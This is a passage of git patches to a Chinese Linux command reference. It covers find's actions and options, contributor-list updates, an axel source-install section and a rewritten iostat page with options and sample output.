**-prune**：由于`-depth`会使`-prune`失效，因此`-delete`操作无法与`-prune`有效结合使用。通常，用户可能希望在实际删除操作前，先用带有`-print`的查找命令行进行测试，以确保在添加`-delete`进行实际删除时不会出现意外结果。 +- **-ignore_readdir_race**：`-delete`与此选项一起使用时，find 会忽略自父目录读取以来文件已消失的情况下`-delete`操作的错误：它不会输出错误诊断，不会将退出代码更改为非零，并且`-delete`操作的返回代码将为真。 + +#### -exec 执行命令 + +> :warning:警告：使用`-exec`操作存在不可避免的安全问题，应改用`-execdir`选项。 + +##### 参数 +`command ;` 或 `command {} +` + +##### 描述 +如果返回状态为 0，则结果为真。**注意**：find 命令会将**所有后续参数**视为`command`的参数，直到遇到包含`;`的参数为止。字符串`{}`会在`command`的参数中所有出现的位置被替换为当前正在处理的文件名，而不仅仅是在它单独出现的参数中，这与某些版本的 find 不同。这两种结构可能需要使用反斜杠`\`或引号来转义，以防止被 shell 扩展。指定的命令会为每个匹配的文件运行一次。命令在起始目录中执行。 + +#### -execdir 在包含匹配文件的子目录中执行命令 + +##### 参数 +`command ;` | `command {} +` + +##### 描述 +类似于`-exec`，但指定的`command`会在包含匹配文件的**子目录中运行**，而非find的起始点目录。与`-exec`一样，如果从shell调用find，`{}`应加引号。这是一种更安全的调用`command`方式，因为它避免了在解析匹配文件路径时出现的竞争条件。与`-exec`操作类似，`+`形式的`-execdir`会构建一个命令行来处理多个匹配文件，但任何给定的`command`调用只会列出存在于同一子目录中的文件。如果使用此选项，必须确保 PATH 环境变量未引用`.`，否则攻击者可以通过在您将运行`-execdir`的目录中留下一个适当命名的文件来运行任何命令。同样，PATH 中的条目**不应为空**或**非绝对目录名**。如果使用`+`形式的任何调用以非零值作为退出状态返回，则 find 也会返回非零退出状态。如果 find 遇到错误，有时会导致立即退出，**因此某些待处理的command可能根本不会运行**。 操作结果取决于使用的是`+`还是`;`变体。`-execdir command {} + `总是返回真，而 `-execdir command {} ;`仅在命令返回 0 时返回真。 + +#### -fls 创建文件并将结果写入文件 + +##### 参数 +`file` + +##### 描述 +此选项始终返回真。`-fls`类似于`-ls`和`-fprint`，但`-fls`会将结果写入文件中。无论谓词是否匹配，输出文件始终会被创建。有关文件名中特殊字符处理的信息，请参阅“特殊文件名处理”部分。 + +#### -fprint 将完整文件名打印到指定文件中 + +##### 参数 +`file` + +##### 描述 +此选项始终返回真。若运行 find 时`file`不存在，则创建该`file`；若`file`已存在，则截断其内容。文件名`/dev/stdout`和`/dev/stderr`有特殊处理，分别指向标准输出和标准错误输出。即使谓词从未匹配，输出文件也会始终创建。 + +#### -fprint0 + +##### 参数 +`file` + +##### 描述 +此选项始终返回真。类似于`-print0`，但将输出写入文件；类似于`-fprint`。即使谓词从未匹配，输出文件也始终会被创建。 + +#### -fprintf + +##### 参数 +`file` + +##### 描述 +此选项始终返回真。类似于`-printf`，但将输出写入文件；类似于`-fprint`，即使谓词从未匹配，输出文件也会始终创建。 + +#### -ls 列出当前文件并输出到标准输出 + +##### *无参数* + +##### 描述 +此选项始终返回真。以`ls -dils`格式列出当前文件并输出到标准输出。块计数为 1 KB 块，除非设置了环境变量 POSIXLY_CORRECT，此时使用 512 字节块。 + +#### -ok 执行命令前询问用户 + +##### 参数 +`command ;` + +##### 描述 +类似于`-exec`，但首先会询问用户。如果用户同意，则运行该命令；否则仅返回 false。若运行该命令，其标准输入将被重定向至`/dev/null`。对提示的响应会与一对正则表达式进行匹配，以确定其为肯定或否定回答。若设置POSIXLY_CORRECT 环境变量，则该正则表达式从系统获取；否则，从 find 的消息翻译中获取。如果系统没有合适的定义，将使用 find 自身的定义。无论哪种情况，正则表达式本身的解释都会受到环境变量 LC_CTYPE（字符类）和 LC_COLLATE（字符范围和等价类）的影响。 + +##### 相关选项 +- **-files0-from**：不能与`-ok`同时指定。 + +#### -okdir + +##### 参数 +`command ;` + +##### 描述 +类似于`-execdir`，但在执行前会以与`-ok`相同的方式询问用户。如果用户不同意，则直接返回 false。如果命令被执行，其标准输入将从`/dev/null`重定向。 + +##### 相关选项 +- **-files0-from**：不能与`-okdir`同时指定。 + +#### -print 打印完整文件名，后跟一个换行符 + +##### *无参数* + +##### 描述 +此选项始终返回真。如果你将 find 的输出通过管道传输到另一个程序，并且你正在搜索的文件可能包含换行符，那么应该考虑使用`-print0`而不是`-print`。 + +#### -print0 打印完整文件名，后跟一个空字符 + +##### *无参数* + +##### 描述 +此选项始终返回真。包含换行符或其他类型空白字符的文件名能被正确解析，以便处理 find 输出的程序能正确理解。此选项对应于`xargs`的`-0`选项。 + +#### -printf 打印格式 + +##### 参数 +`format` + +可用的转义字符和指令包括： +- \a 警报。 +- \b 退格键。 +- \c 立即停止打印并清空输出。 +- \f 换页。 +- \n 换行。 +- \r 回车符。 +- \t 水平制表符。 +- \v 垂直制表符。 +- \0 空字符。 +- \\\ 一个字面的反斜杠`\`。 +- \NNN 字符，其 ASCII 码为 NNN（八进制）。 +- A 一个反斜杠字符`\`后跟任何其他字符，都会被视为普通字符，因此它们都会被打印出来。 +- %% 一个字面的百分号。 +- %a 文件的最后访问时间，格式为 C 语言 ctime(3)函数返回的样式。 + .....更多内容待补充 + +##### 描述 +*暂无* + +#### -prune 如果文件是目录，则不进入该目录 + +##### *无参数* + +##### 描述 +此选项始终返回真。 + +##### 相关选项 +- **-depth**：如果指定了`-depth`，那么`-prune`将无效。 +- **-delete**：因为`-delete`隐含了`-depth`，所以不能有效地同时使用两者。 + +#### -quit 立即退出 + +##### *无参数* + +##### 描述 +如果没有发生错误，则返回值为零。这与`-prune `不同，因为`-prune`仅适用于被修剪目录的内容，而`-quit`则使 find 立即停止。不会有任何子进程继续运行。在程序退出之前，任何通过`-exec ... +`或`-execdir ... +`构建的命令行都会被调用。执行`-quit`后，命令行中指定的文件将不再被处理。例如，`find /tmp/foo /tmp/bar -print -quit`将仅打印 `/tmp/foo`。`-quit`的一个常见用途是在找到所需内容后停止搜索文件系统。 + +### 全局选项 +始终返回真值。全局选项对命令行中较早出现的测试也会生效。为避免混淆，全局选项应在命令行上列出**起始点之后、第一个测试选项、位置选项或操作选项之前指定**。若在其他位置指定全局选项，find 会发出警告消息，说明这可能引起混淆。 + +> 全局选项出现在起始点列表之后，因此与例如`-L` 这样的选项不属于同一类别。 + +#### -d `-depth`的同义词 + +##### *无参数* + +##### 描述 +仅用于与 FreeBSD、NetBSD、MacOS X 和 OpenBSD 兼容。 + +#### -depth 遍历级别 + +##### 参数 +`levels` + +##### 描述 +在处理目录本身之前，先处理目录中的内容。`-delete`操作也隐含了`-depth`。 + +#### -files0-from 从文件中读取起始点，而非通过命令行获取。 + +##### 参数 +`file` + +##### 描述 + +使用此选项可以安全地给 find 命令传递任意数量的起始点。使用此选项和在命令行中传递起始点**是互斥的**，因此不允许同时进行。文件参数是强制性的。文件中的起始点必须用 ASCII NUL 字符分隔。两个连续的 NUL 字符，即带有零长度文件名的起始点是不允许的，这将导致错误诊断，并随后产生非零退出码。 + +与标准调用不同，在标准调用中，如果没有传递路径参数，find 会默认将当前目录作为起始点。起始点的处理方式与其他情况相同，例如，find 命令会递归进入子目录，除非另有阻止。若要仅处理起始点，可以额外传递`-maxdepth 0`参数。 + +**其他说明**：如果一个文件在输入文件中被列出多次，则其是否会被多次访问未作规定。如果在查找操作期间文件被修改，结果同样未作规定。最后，find 退出时（无论是通过`-quit`还是其他方式），命名文件中的查找位置也未作规定。此处**未作规定**意味着它**可能有效也可能无效**，**或者不做任何特定的事情**，并且该行为可能因平台或 findutils 版本而异。 + +> :bulb:可以使用`-files0-from`**从标准输入流中读取起始点列表**，例如从管道中读取。在这种情况下，不允许使用`-ok`和`-okdir`操作，因为它们会干扰从标准输入读取以获取用户确认。 + +> :warning:警告：如果给定文件为空，find 不会处理任何起始点，因此在解析完程序参数后会立即退出。 + +#### -help 和 --help 打印 find 命令行用法的摘要并退出。 + +##### *无参数* + +##### 描述 +*无描述* + +#### -ignore_readdir_race + +##### *无参数* + +##### 描述 +通常情况下，当 find 无法对文件进行状态检查（stat）时，会发出错误消息。如果您**启用此选项**，并且在 find 从目录读取文件名，到尝试进行状态检查**之间的时间内文件被删除**，则不会发出任何错误消息。这也适用于命令行中指定的文件或目录。此选项在命令行读取时生效，这意味着您不能在文件系统的某部分启用此选项，而在另一部分禁用它（如果需要这样做，您需要发出两个 find 命令，一个启用选项，一个不启用）。此外，使用`-ignore_readdir_race`选项时，如果在读取父目录后文件已消失，find 命令将忽略`-delete`操作的错误：它不会输出错误诊断信息，并且`-delete`操作的返回码将为真。 + +#### -maxdepth 最大遍历级别 + +##### 参数 +`levels` + +##### 描述 +最多向下遍历 levels 级（一个非负整数）目录层级。使用`-maxdepth 0`表示**仅对起始点本身**应用测试和操作。 + +#### -mindepth 最小遍历级别 + +##### 参数 +`levels` + +##### 描述 +在小于指定级别（非负整数）的层级上不执行任何测试或操作。使用`-mindepth 1`表示处理**除起始点外的所有文件**。 + +#### -mount 不在其他文件系统中下降目录 + +##### *无参数* + +##### 描述 +这是`-xdev`的替代名称，用于与其他一些版本的 find 兼容。 + +#### -noignore_readdir_race + +##### *无参数* + +##### 描述 +关闭了`-ignore_readdir_race`的效果。 + +#### -noleaf 不进行优化。 + +##### *无参数* + +##### 描述 +不通过假设目录包含比其硬链接数少 2 个子目录来进行优化。在搜索不遵循 Unix 目录链接惯例的文件系统时，需要此选项，例如 CD-ROM、MS-DOS 文件系统或 AFS 卷挂载点。在正常的 Unix 文件系统上，每个目录至少有 2 个硬链接：其名称及其`.`条目。此外，其子目录（如果有）各自有一个指向该目录的`..`条目。当 find 检查一个目录时，在它已经统计了比目录链接数少 2 个子目录之后，它知道该目录中的其余条目是非目录（目录树中的“叶”文件）。如果只需要检查文件的名称，则无需对其进行状态检查；这可以显著提高搜索速度。 + +#### -version 和 --version 打印 find 的版本号并退出。 + +##### *无参数* + +##### 描述 +*无描述* + +#### -xdev 不进入其他文件系统的目录。 + +##### *无参数* + +##### 描述 +*无描述* + +### 位置选项 +始终返回真值。它们仅影响命令行中后续的测试。 + +#### -daystart 从今天开始 + +> 用于 `-amin`、`-atime`、`-cmin`、`-ctime`、`-mmin` 和 `-mtime` + +##### *无参数* + +##### 描述 +从今天开始而非从 24 小时前开始。此选项仅影响命令行中后续出现的测试。 + +#### ~~-follow~~ 解引用符号链接。 + +##### *无参数* + +##### 描述 +**已弃用，请改用`-L`选项**。隐含`-noleaf`。`-follow`选项仅影响命令行中出现在其后的那些测试。除非已指定`-H`或`-L`选项，否则`-follow`选项的位置会改变`-newer`谓词的行为；作为`-newer`参数列出的任何文件，如果它们是符号链接，则会被解引用。同样的情况适用于`-newerXY`、`-anewer`和`-cnewer`。类似地，`-type `谓词将始终匹配符号链接所指向的文件类型，而非链接本身。使用`-follow`会导致 `-lname`和`-ilname`谓词始终返回 false。 + +#### -regextype 更改正则表达式语法 + +##### 参数 +`type` + +##### 描述 +更改`-regex`和`-iregex`测试在命令行后续部分所理解的正则表达式语法。要查看已知的正则表达式类型，请使用`-regextype help`。Texinfo 文档解释了各种正则表达式类型的含义及其差异。如果您不使用此选项，find 的行为如同已指定正则表达式类型为`emacs`。 + +#### -warn 和 -nowarn 开启或关闭警告消息。 + +##### *无参数* + +##### 描述 +这些警告仅适用于命令行使用，不适用于 find 在搜索目录时可能遇到的情况。默认行为是：如果标准输入是`tty`，则对应`-warn`；否则对应`-nowarn`。如果产生与命令行使用相关的警告消息，find 的退出状态不受影响。如果设置了 POSIXLY_CORRECT 环境变量，并且也使用了`-warn`，则未指定哪些（如果有）警告会被激活。 + +### 运算符选项 +运算符按优先级递减顺序列出： +- `(expr)` 强制优先级。由于括号对 shell 有特殊含义，通常需要对它们进行引用。许多示例为此使用了反斜杠：`\(...\)` 而非 `(...)`。 +- `! expr` 若表达式为假则结果为真（取反）。此字符通常也需要防止被 shell 解释。 + +> :bulb:提示：当`-a`隐式指定（例如两个测试之间没有显式运算符）或显式指定时，其优先级高于`-o`。例如，`find . -name foo -o -name bar -print`永远不会打印`foo`。 + +#### -not + +##### 参数 +`expr` + +##### 描述 +等同于`! expr`，但不符合 POSIX 标准。 + +#### -a + +##### 参数 +`expr1` -a `expr2` + +##### 描述 +两个连续的表达式被视为隐含地用`-a`连接；如果`expr1`为假，则不评估`expr2`。等同于`expr1 expr2`。 + +#### -and + +##### 参数 +`expr1` -and `expr2` + +##### 描述 +与`-a`相同。但不符合 POSIX 标准。 + +#### -o + +##### 参数 +`expr1` -o `expr2` + +##### 描述 +`expr1`和`expr2`始终都会被评估。`expr1`的值会被丢弃；列表的值即为`expr2`的值。逗号运算符（`,`）在搜索多种不同类型的事物时非常有用，但只会遍历文件系统层次结构一次。`-fprintf`动作可用于将各种匹配项列出到多个不同的输出文件中。若`expr1`为真，则不评估`expr2`。 +#### -or + +##### 参数 +`expr1` -or `expr2` -起始目录：查找文件的起始目录。 +##### 描述 +与`-o`相同。但不符合 POSIX 标准。 -### 实例 +## 例子 +当前目录搜索所有文件，且文件内容包含 “140.206.111.111” ```shell -# 当前目录搜索所有文件，文件内容 包含 “140.206.111.111” 的内容 find . -type f -name "*" | xargs grep "140.206.111.111" ``` From be1fb35497ef07b9c11ca542ebee05248f968361 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 15 Jul 2024 02:20:23 +0000 Subject: [PATCH 0901/1019] doc: update README.md. --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 2c50f0cc271..49a4b0a773b 100644 --- a/README.md +++ b/README.md @@ -302,6 +302,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Dazhuangw Alterem YH +jqz3.tech juemuren4449 kassadin kid1412621 @@ -315,8 +316,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -Yidan Wang -jqz3.tech jcdj666 hululu1068 huangyao @@ -331,6 +330,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 +c2ch +Yidan Wang Panthea Johnson 远方 谢民皆 @@ -392,7 +393,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 -c2ch brinkqiang bell azureology @@ -421,6 +421,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rining Wu Ray Yee QinShower +Q.Ben Zheng Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From ead3b5460a6d13b25e03ccdee24b05ef75e13f9e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 15 Jul 2024 02:20:24 +0000 Subject: [PATCH 0902/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index c4c13664ab2..9b51e3691fd 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -47,6 +47,7 @@ Dazhuangw Alterem YH +jqz3.tech juemuren4449 kassadin kid1412621 @@ -60,8 +61,6 @@ noodles2hg nsnans oliver -Yidan Wang -jqz3.tech jcdj666 hululu1068 huangyao @@ -76,6 +75,8 @@ dayday cxalc Forever121 +c2ch +Yidan Wang Panthea Johnson 远方 谢民皆 @@ -137,7 +138,6 @@ Azroy Alan 0x_000 -c2ch brinkqiang bell azureology @@ -166,6 +166,7 @@ Rining Wu Ray Yee QinShower +Q.Ben Zheng Mystic

From 6545af6381e10908c5f954a7b76f6aaa8eda5b1b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 31 Jul 2024 15:25:44 +0800 Subject: [PATCH 0903/1019] doc: Update README.md #595 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 49a4b0a773b..c4203235e3e 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ **推荐使用的镜像 web 版本** -[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/) +[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/) **其它 web 版本** From ef397aec19745e23f24eba1dd237b7dc14a93068 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 31 Jul 2024 07:26:17 +0000 Subject: [PATCH 0904/1019] doc: update README.md. --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c4203235e3e..c9ec9c2ec57 100644 --- a/README.md +++ b/README.md @@ -319,6 +319,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. jcdj666 hululu1068 huangyao +hotdogc1017 gcluffy ghy gesty @@ -330,7 +331,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 -c2ch Yidan Wang Panthea Johnson 远方 @@ -363,6 +363,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shc sfwwslm rexlin600 +c2ch MinsonLee Marnm mwei From 5f8043de11b823018e95aef0500e67bb435ef479 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 31 Jul 2024 07:26:18 +0000 Subject: [PATCH 0905/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 9b51e3691fd..f2cf5f0e086 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -64,6 +64,7 @@ jcdj666 hululu1068 huangyao +hotdogc1017 gcluffy ghy gesty @@ -75,7 +76,6 @@ dayday cxalc Forever121 -c2ch Yidan Wang Panthea Johnson 远方 @@ -108,6 +108,7 @@ shc sfwwslm rexlin600 +c2ch MinsonLee Marnm mwei From 774d3af78e3d3203b3edc03f3e759e51a1e63e91 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Thu, 1 Aug 2024 01:08:44 +0800 Subject: [PATCH 0906/1019] doc: Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index c9ec9c2ec57..9c3e2d11ec9 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ **推荐使用的镜像 web 版本** -[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/) +[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.xyz`](https://linux.alistnas.xyz/)，[`nenufm.com`](https://www.nenufm.com/linux-command/) **其它 web 版本** From 15c63feb00972d728585fa13b965af2d2a789cc5 Mon Sep 17 00:00:00 2001 From: zyy2477 Date: Thu, 15 Aug 2024 21:19:09 +0800 Subject: [PATCH 0907/1019] doc: update axel.md (#596) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Update axel.md 添加 axel 源码安装方法。 * Update axel.md 更新 axel 源码安装和 -k 参数 --- command/axel.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/command/axel.md b/command/axel.md index 74915d6e15f..0d38af3af37 100644 --- a/command/axel.md +++ b/command/axel.md @@ -9,6 +9,14 @@ axel ### 安装 +#### 源码安装 + +github地址：https://github.com/axel-download-accelerator/axel + +下载相应的 release 版本后，解压进入目录执行`./configure && make && make install`安装即可。 + +#### 二进制安装 + CentOS安装Axel： 目前yum源上没有Axel，我们可以到 http://pkgs.repoforge.org/axel/ 下载rpm包安装。 @@ -54,6 +62,7 @@ axel [options] url1 [url2] [url...] --alternate ， -a # Alternate progress indicator --help ，-h # 帮助 --version ，-V # 版本信息 +--insecure，-k # 不验证SSL证书 ``` ### 实例 From 6079545fee37e9800eda0734d6423c5357efdb05 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 15 Aug 2024 13:19:43 +0000 Subject: [PATCH 0908/1019] doc: update README.md. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 9c3e2d11ec9..c6961bae31c 100644 --- a/README.md +++ b/README.md @@ -332,7 +332,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. cxalc Forever121 Yidan Wang -Panthea Johnson +Wendy May 远方 谢民皆 Kyofin @@ -344,9 +344,9 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Loofra Wei Xu 尘埃 -宋小北 孤城落寞 七朔 +zyy2477 zyimm zuixin369 zoomdong From d88ec7ce3ef17d3542e8ad285b9b3bb937a52df1 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 15 Aug 2024 13:19:44 +0000 Subject: [PATCH 0909/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index f2cf5f0e086..0d1361025b2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -77,7 +77,7 @@ cxalc Forever121 Yidan Wang -Panthea Johnson +Wendy May 远方 谢民皆 Kyofin @@ -89,9 +89,9 @@ Loofra Wei Xu 尘埃 -宋小北 孤城落寞 七朔 +zyy2477 zyimm zuixin369 zoomdong From 7155c78adc11f4e340ea0fba6d565db2270be4e4 Mon Sep 17 00:00:00 2001 From: zyy2477 Date: Thu, 29 Aug 2024 16:49:07 +0800 Subject: [PATCH 0910/1019] doc: Update iostat.md (#599) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 从 Linux 2.6.18 内核的 iostat 更新到 4.18.0 内核的 iostat。并参数说明和示例 --- command/iostat.md | 208 ++++++++++++++++++++++++++++++++++------------ 1 file changed, 156 insertions(+), 52 deletions(-) diff --git a/command/iostat.md b/command/iostat.md index 0bf3d25e003..0ab85f2d431 100644 --- a/command/iostat.md +++ b/command/iostat.md @@ -1,74 +1,178 @@ -iostat -=== +# iostat -监视系统输入输出设备和CPU的使用情况 +iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。 +iowait 指在一个采样周期内有百分之几的时间是属于以下情况：CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。 -## 补充说明 +## 安装 iostat -**iostat命令** 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。 +iostat包含在**sysstat**包内。如果你没有，你首先需要安装它。 +在 RedHat / CentOS / Fedora -### 语法 +```bash +yum install sysstat +``` + +在 Debian / Ubuntu / Linux Mint + +```bash +sudo apt-get install sysstat +``` -```shell +## 语法 + +```bash iostat(选项)(参数) ``` -### 选项 - -```shell --c：仅显示CPU使用情况； --d：仅显示设备利用率； --k：显示状态以千字节每秒为单位，而不使用块每秒； --m：显示状态以兆字节每秒为单位； --p：仅显示块设备和所有被使用的其他分区的状态； --t：显示每个报告产生时的时间； --V：显示版号并退出； --x：显示扩展状态。 +### 选项 + +```bash +# iostat --help +Usage: iostat [ options ] [ [ ] ] +Options are: +[ -c ] [ -d ] [ -h ] [ -k | -m ] [ -N ] [ -s ] [ -t ] [ -V ] [ -x ] [ -y ] [ -z ] +[ -j { ID | LABEL | PATH | UUID | ... } ] [ --human ] [ -o JSON ] +[ [ -H ] -g ] [ -p [ [,...] | ALL ] ] +``` + +参数说明： +``` +-c 输出CPU统计信息。不能与-d参数同时使用。 +-d 输出设备和分区的I/O统计信息。不能与-c参数同时使用。(默认的参数是-d)。 +-h 让人类更容易阅读设备使用情况报告。--human使用此选项隐式启用。 +-k 用“kbytes/秒”代替“块/秒”显示统计信息。 +-m 用“mbytes/秒”代替“块/秒”显示统计信息。 +-t 打印显示的每份报告的时间。 +-V 显示版本号并退出。 +-x 显示扩展统计信息。不能与参数-p同时使用。 +-y 如果在给定时间间隔内显示多条记录，则省略自系统启动以来的第一份统计报告。 +-z 告诉 iostat 忽略在样本期间没有活动的设备的输出。 +-j 显示持久的设备名称。选项ID、LABEL等指定持久名称的类型。 +--human 以人类可读格式打印大小(例如1.0k, 1.2M等)。使用此选项显示的单位取代与度量相关的任何其他默认单位(例如千字节，扇区…)。 +-o 以JSON (Javascript Object Notation)格式显示统计数据。JSON输出字段顺序未定义，未来可能会添加新字段。 +-H 该选项必须与-g一起使用，表示只显示组的全局统计信息，而不显示组中单个设备的统计信息。 +-p 选项显示系统使用的块设备及其所有分区的统计信息。如果在命令行中输入一个设备名，那么将显示该设备及其所有分区的统计信息。最后，ALL关键字表示必须显示系统定义的所有块设备和分区的统计信息，包括那些从未使用过的设备和分区。如果在此选项之前定义了选项-j，则可以使用所选的持久名称类型指定在命令行上输入的设备。 +``` + +### 参数 + +interval 刷新时间间隔 +count 刷新次数 + +## 运行示例 + +### 示例1 + +```bash +# iostat +Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU) + +avg-cpu: %user %nice %system %iowait %steal %idle + 3.30 0.01 1.90 0.12 0.00 94.68 + +Device tps kB_read/s kB_wrtn/s kB_read kB_wrtn +vda 7.85 84.22 36.59 1081853831 470049100 + ``` -### 参数 +第一部分包含了CPU报告 + +| 性能指标 | 含义 | +| --- | --- | +| %user | 显示在用户级(应用程序)执行时发生的CPU利用率百分比。 | +| %nice | 显示在具有nice优先级的用户级别执行时发生的CPU利用率百分比。 | +| %system | 显示在系统级(内核)执行时发生的CPU利用率百分比。 | +| %iowait | 显示在系统有未完成的磁盘I/O请求期间CPU空闲的时间百分比。 | +| %steal | 显示虚拟机监控程序为另一个虚拟处理器提供服务时，一个或多个虚拟CPU在非自愿等待上花费的时间百分比。 | +| %idle | 显示CPU空闲且系统没有未完成的磁盘I/O请求的时间百分比。 | + +第二部分包含了设备利用率报告 + +| 性能指标 | 含义 | +| --- | --- | +| Device | 此列给出了 /dev 目录中列出的设备（或分区）名称。 | +| tps | 表示每秒向设备发出的传输次数。传输是对设备的 I/O 请求。多个逻辑请求可合并为对设备的一个 I/O 请求。传输大小不确定。 | +| kB_read/s | 表示每秒从设备读取的数据量，以块数（千字节、兆字节）表示。块相当于扇区，因此大小为 512 字节。 | +| kB_wrtn/s | 表示写入设备的数据量，以每秒块数（千字节、兆字节）表示。 | +| kB_read | 读取的数据块总数（千字节、兆字节）。 | +| kB_wrtn | 写入的数据块总数（千字节、兆字节）。 | + +### 示例2 + +以更友好的显示方式显示 IO 信息，使用`-y`忽略第一份统计。并每隔 1 秒重新一次，共5次。 -* 间隔时间：每次报告的间隔时间（秒）； -* 次数：显示报告的次数。 +```bash +# iostat -hdy 1 5 +Linux 4.18.0-477.13.1.el8_8.x86_64 (node1) 08/28/2024 _x86_64_ (2 CPU) -### 实例 + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 64.00 288.0k 308.0k 288.0k 308.0k vda -用`iostat -x /dev/sda1`来观看磁盘I/O的详细情况： + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 12.00 0.0k 84.0k 0.0k 84.0k vda -```shell -iostat -x /dev/sda1 -Linux 2.6.18-164.el5xen (localhost.localdomain) -2010年03月26日 + tps kB_read/s kB_wrtn/s kB_read kB_wrtn Device + 15.00 0.0k 36.0k 0.0k 36.0k vda -avg-cpu: %user %nice %system %iowait -%steal 